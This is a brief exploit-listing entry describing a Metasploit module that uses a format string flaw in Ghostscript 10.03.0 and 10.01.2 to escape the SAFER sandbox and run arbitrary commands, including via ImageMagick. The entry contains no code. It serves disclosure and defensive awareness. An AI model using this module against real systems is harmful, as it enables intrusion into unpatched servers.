Ghostscript Command Execution / Format String

Ghostscript Command Execution / Format String
Posted Jul 22, 2024
Authored by Thomas Rinsma, Christophe de la Fuente | Site metasploit.com

This Metasploit module exploits a format string vulnerability in Ghostscript versions before 10.03.1 to achieve a SAFER sandbox bypass and execute arbitrary commands. This vulnerability is reachable via libraries such as ImageMagick. This exploit only works against Ghostscript versions 10.03.0 and 10.01.2. Some offsets adjustment will probably be needed to make it work with other versions.
